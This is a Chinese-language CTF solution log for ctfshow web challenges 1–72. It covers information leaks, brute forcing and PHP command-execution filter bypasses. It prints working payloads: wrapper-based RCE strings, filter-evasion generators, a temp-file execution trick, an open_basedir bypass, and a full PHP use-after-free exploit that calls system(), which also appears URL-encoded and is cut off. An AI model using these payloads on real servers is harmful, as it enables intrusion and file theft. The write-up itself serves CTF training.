ctfshow刷题记录

一些关于做ctfshow写下来的wp

Web1

1
开发注释未及时删除

特别简单的,没什么好说的,F12就有flag了。

Web2

1
js前台拦截 === 无效操作

从别的地方进到F12就行了

Web3

1
没思路的时候抓个包看看,可能会有意外收获

抓包就行

Web4

1
总有人把后台地址写入robots,帮黑阔大佬们引路。

Web5

1
phps源码泄露有时候能帮上忙

Web6

1
解压源码到当前目录,测试正常,收工

www.zip

Web7

1
版本控制很重要,但不要部署到生产环境更重要。

.git泄露

Web8

1
版本控制很重要,但不要部署到生产环境更重要。

.svn泄露

Web9

1
发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了

index.php.swp

Web10

1
cookie 只是一块饼干,不能存放任何隐私数据

Web11

域名txt记录

Web12

1
有时候网站上的公开信息,就是管理员常用密码

简单的账号密码

Web13

1
技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码

隐藏的可点击

Web14

1
有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人

找到文件位置

Web15

1
公开的信息比如邮箱,可能造成信息泄露,产生严重后果

社工找qq所在地

Web16

1
对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露

php探针,用于自己搭建服务器时候的探测

1
考察PHP探针php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡 流量、系统负载、服务器时间等信息。 url后缀名添加/tz.php 版本是雅黑PHP探针,然后查看phpinfo搜索flag

Web17

1
备份的sql文件会泄露敏感信息

扫目录找数据库文件即可

Web18

1
不要着急,休息,休息一会儿,玩101分给你flag

JS文件源代码查看

Web19

1
密钥什么的,就不要放在前端了

直接F12看源码

Web20

1
mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。

扫目录找数据库文件

Web21

1
爆破什么的,都是基操

就正常的爆破,需要注意的是这个

image-20240124141403573

Web22

1
域名也可以爆破的,试试爆破这个ctf.show的子域名

子域名爆破即可

Web23

1
还爆破?这么多代码,告辞!

简单的php中的md5爆破

Web24

1
爆个🔨

随机数爆破,种子都给了,直接自己本地运行一下即可

Web25

1
爆个🔨,不爆了

偏难,使用php_mt_seed去破解得到seed从而得到flag最后。

Web26

1
这个可以爆

暴力破解,不过全空这题也能有flag

Web27

1
CTFshow菜鸡学院招生啦!

直接身份证日期爆破

Web28

1
大海捞针

直接爆破即可

Web29

1
命令执行,需要严格的过滤

直接*,或者

1
echo `nl fl''ag.php`;

Web30

1
命令执行,需要严格的过滤

用上面的echo还是可以的或者

1
?c=eval($_POST[0]);

Web31

还是可以使用post或者

1
?c=echo`tac%09fl*`;

Web32

1
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
1
2
3
eval("echo 1;"); 
eval("echo 1?>");
分号可以由?>代替

Web33

把上题的url参数换成一个数字就可以了

1
c=$nice=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

Web34

同上即可

Web35

同上即可

Web36

同上即可,0改成a就行

Web37

1
?c=data://text/plain,<?php system("cat fla*")?>
1
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

Web38

base64编码即可

1
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

Web39

1
?c=data://text/plain,<?php system("cat fla*")?>

已经将php语句闭合了,后面加.php没有任何用

Web40

1
2
3
4
5
6
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
scandir():获取目录下的文件
next():函数将内部指针指向数组中的下一个元素,并输出。 首先通过
pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以scandir(pos(localeconv()))就能得到flag.php了。
1
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

直接就获得到了flag,无参数命令执行。

Web41

这题就比较复杂了,我们需要去找到能够通过或操作获得相应的字符

php版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

py版:

1
2
3
4
5
6
7
8
9
10
11
12
13
import re
content = ''
preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/'
for i in range(256):
for j in range(256):
if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)):
k = i | j
if k>=32 and k<=126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
content += (chr(k) + ' '+ a + ' ' + b + '\n')
f = open('rce_or.txt', 'w')
f.write(content)

然后手动或者python自动去拼接都行

Web42

无回显

直接管道符或者换行绕过

要让命令回显,可以进行命令分隔,以此来绕过:

1
2
3
4
5
6
;     分号
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行
%0a 换行

在命令后面加上即可

Web43

很简单,过滤了cat用tac就行nl也行

Web44

过滤了flag,很简单的*绕过就行了

Web45

过滤了空格,用${IFS}就行

linux适用空格绕过:

1
<、<>、%20(space)、%09(tab)、$IFS$9${IFS}$IFS、{cat,/etc/passwd}、%0a(回车)

Web46

过滤了*

法一,符号绕过。

1
?c=tac%09fl''ag.php||

法二,通配符 “ ? ”。

1
?c=tac%09fl?g.php||
1
nl<fla''g.php||

Web47

过滤了一堆没用的,和上题一样写就行

Web48

还是过滤了一堆没用的

Web49

还是和之前的一样

Web50

过滤了%09换别的就行,还是一样的

Web51

还是一样的

Web52

过滤了大于小于还是差不多的,用${IFS}就行

还有就是注意的是flag没有php后缀了

Web53

1
?c=nl${IFS}fla''g.php

这样就可以了

Web54

没有过滤?,可以使用这个绕过

1
c=/bin/?at${IFS}f???.php

或者

1
c=vi${IFS}f???.php

Web55

又是一个比较离谱的题目

有三种方法去写

第一种就是用base64去读源文件

1
2
/bin/base64 flag.php
/???/????64 ????.???

第二种就是对文件进行压缩从而去下载

1
2
/usr/bin/bzip2 flag,php
/???/???/????2 ????.???

第三种就是最难的了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://dc1bfe3e-910b-4ad5-9130-db7f0cd7cca4.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

构造一个post去传文件,会传到临时目录中,再用.去执行

1
2
3
4
5
6
7
8
在 burp 拦截中,通过 GET 方式传递:
?c=.+/???/????????[@-[]

phpKKKK

并在上传文件内容添加sh命令:
#!/bin/sh
pwd

Web56

1
2
3
Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。
Linux 中 .(点)命令,或者叫 period,它的作用和 source 命令一样,就是用当前的 shell 执行一个文件中的命令。
ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间。

使用上题的第三种方法即可

Web57

过滤了.,所以无法使用上面用到的方法

我们只需要凑出一个36即可

1
2
3
4
5
6
$()和 ` `  
在 bash shell 中,$( ) 与` ` (反引号) 都可用做命令替换用。

例如

version=$(uname -r)和version=`uname -r`都可以是version得到内核的版本号
1
2
3
4
5
6
7
Linux Shell 中 $(()) 的用法。  https://blog.csdn.net/u013402321/article/details/80333272

简单来说,$(()) 用来做数学运算。且 $(()) 的值为 0。

~ 在 $(()) 中代表按位取反,即 $((~$(()))) 就是 0 取反,即 -1。

$(($((~$(())))$((~$(()))))) 也就是 $((-1-1)) 为 -2。
1
2
3
${_} ="" //返回上一次命令
$((${_}))=0
$((~$((${_}))))=-1

Web58

system被禁掉了,所以换用别的

解法1:

1
2
3
4
5
c=show_source('flag.php');

c=highlight_file("flag.php");

c=file_get_contents('falg.php');

解法2

1
c=include "php://filter/read=convert.base64-encode/resource=flag.php";

Web59

和上面一题是一样的

Web60

还是和上面的一样的

Web61

还是一样的

Web62

还是一样的

Web63

还是一样的

Web64

还是一样的

Web65

还是一样的

Web66

这题就是新的了,将上面的函数都禁了。

而且通过highlight_file得知文件名改变了,我们就先用print_r(scandir(‘/‘));查看根目录文件,再用highlight去读取即可

1
scandir():扫描目录

Web67

和上题一样的

题目就不贴了。和前几题一模一样的。

区别在于,print_r() 函数被禁了。

那就用 var_dump() 函数。

1
c=var_dump(scandir('/'));

Web68

直接文件包含即可

1
include('flag.txt');
1
include():表达式包含并运行指定文件。

Web69

这题var_dump被禁了,我们就使用var_export

1
var_export:输出或返回变量的可解析字符串表示。

Web70

和上题一模一样的

Web71

这题给了源码就可以发现把所有的输出都换成了问号,但是,由于是命令执行,我们就可以加一个exit(0);在后边,从而跳过后边的替换。

1
c=include('/flag.txt');exit(0);

Web72

1
2
也就是说,本题设置了 open_basedir(),将php所能打开的文件限制在指定的[目录树](https://so.csdn.net/so/search?q=目录树&spm=1001.2101.3001.7020)中,包括文件本身。
因为 ini_set() 也被限制了,所以 open_basedir() 不能用 ini_set() 重新设置绕过。
1
2
不能访问/,访问路径被限制了,只能允许访问的是/var/www/html/。
也就是说,本题设置了open_basedir,将php所能打开的文件限制在指定的目录树中,包括文件本身。因为ini_set()也被限制了,所以open_basedir不能用ini_set重新设置绕过。
1
2
3
4
5
6
7
8
9
<?php
$a=new DirectoryIterator("glob:///*");
# 利用DirectoryIterator($path)可以实现遍历目录下的所有文件
# glob:// — 查找匹配的文件路径模式
# DirectoryIterator("glob:///*") 遍历根目录里所有文件
foreach($a as $f) #循环遍历输出,并以空格为分隔
{echo($f->__toString().' ');
} exit(0);
?>

我们这样也就可以去读取到相应的目录了

后面是真的好难

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
<?php

function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>
1
2
payload:
c=%0Afunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7